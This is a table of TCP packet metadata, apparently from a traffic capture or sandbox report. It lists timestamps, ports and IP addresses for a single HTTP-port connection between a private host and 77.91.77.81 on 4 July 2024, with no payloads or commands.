Jul 4, 2024 20:34:28.626815081 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626852036 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626863956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626873970 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626885891 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626894951 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626897097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626908064 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626918077 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626935959 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626957893 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.626986980 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.626997948 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627007961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627038002 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627052069 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627063036 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627074003 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627084970 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627129078 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627130985 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627154112 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627165079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627190113 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627202034 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627262115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627271891 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627281904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627291918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627295971 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627302885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627306938 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627321959 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627350092 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627367973 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627441883 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627453089 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627484083 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627502918 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627511024 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627521038 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627532005 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627547026 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627556086 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627578974 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627628088 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627640009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627650023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627660036 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627671957 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627671957 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627684116 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627690077 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627695084 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627705097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627717018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627720118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627732992 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627757072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627758026 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627769947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627780914 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.627794981 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.627818108 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.657104015 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657120943 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657181025 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.657186031 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657196999 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657207012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657218933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657231092 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657242060 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.657443047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.657443047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.657443047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.690932989 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.690946102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.690957069 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.690967083 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.690978050 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.690987110 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.690996885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691021919 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691054106 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691065073 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691075087 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691083908 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691104889 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691119909 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691140890 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691157103 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691167116 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691179991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691181898 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691190958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691200018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691200972 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691219091 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691243887 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691245079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691255093 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691265106 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691274881 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691279888 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691303015 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691308975 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691332102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691337109 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.691342115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.691375017 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721363068 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721389055 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721488953 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721489906 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721502066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721513987 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721524954 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721549988 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721563101 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721605062 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721616983 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721626043 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721637011 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721648932 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721656084 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721666098 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721674919 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721678972 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721689939 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721699953 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721704006 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721720934 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721743107 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721771955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721782923 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721791983 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721817017 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721841097 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721858978 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721869946 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721879959 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721890926 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721908092 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721940994 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.721963882 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721976042 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721981049 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.721991062 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722001076 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722007036 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722008944 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722018003 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722026110 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722043991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722053051 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722080946 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722095013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722105980 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722129107 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722141027 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722181082 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722191095 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722202063 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722212076 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722223043 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722249031 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722284079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722296000 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722306967 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722322941 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722323895 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722333908 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722343922 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722345114 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722356081 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722373009 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722387075 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722436905 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722453117 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722476006 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722501040 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722570896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722582102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722592115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722606897 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722616911 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722635984 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722668886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722681046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722690105 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722701073 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722706079 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722712040 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722721100 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722740889 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722764015 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722769976 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722781897 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722815037 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722856998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722871065 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722881079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722891092 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722904921 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722922087 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.722959995 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722970963 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722980976 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.722992897 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723004103 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723009109 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723021984 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723036051 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723040104 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723047018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723073959 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723089933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723099947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723109961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723129034 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723145962 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723200083 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723211050 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723221064 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723231077 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723237991 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723248005 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723274946 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723381996 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723392963 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723402023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723412991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723424911 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723433018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723443031 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723445892 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723453045 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723469019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723472118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723479033 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723493099 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.723495960 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723514080 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.723536015 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.753298044 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753314018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753334999 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753345966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753356934 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753366947 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753376961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.753443003 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.753601074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788630009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788680077 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788695097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788703918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788743019 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788747072 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788799047 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788800955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788811922 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788844109 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788891077 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788902998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788914919 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788925886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788935900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788938999 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788959026 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788975000 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788985014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.788988113 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.788995981 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789010048 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789011955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789024115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789033890 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789033890 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789058924 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789067030 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789078951 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789082050 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789093971 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789103031 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789103985 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789117098 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789127111 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789145947 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789167881 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789273977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.789305925 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.789323092 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.816853046 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816869974 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816879988 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816889048 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816899061 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816905022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.816909075 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816925049 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816941023 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.816942930 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.816977978 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817101955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817147017 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817152023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817162037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817197084 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817205906 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817214966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817225933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817236900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817245960 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817250013 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817265987 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817275047 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817286015 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817291975 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817311049 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817313910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817328930 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817352057 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817356110 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817365885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817392111 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817403078 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817414999 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817418098 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817425013 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817435980 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817461967 CEST	49747	80	192.168.2.4	77.91.77.81
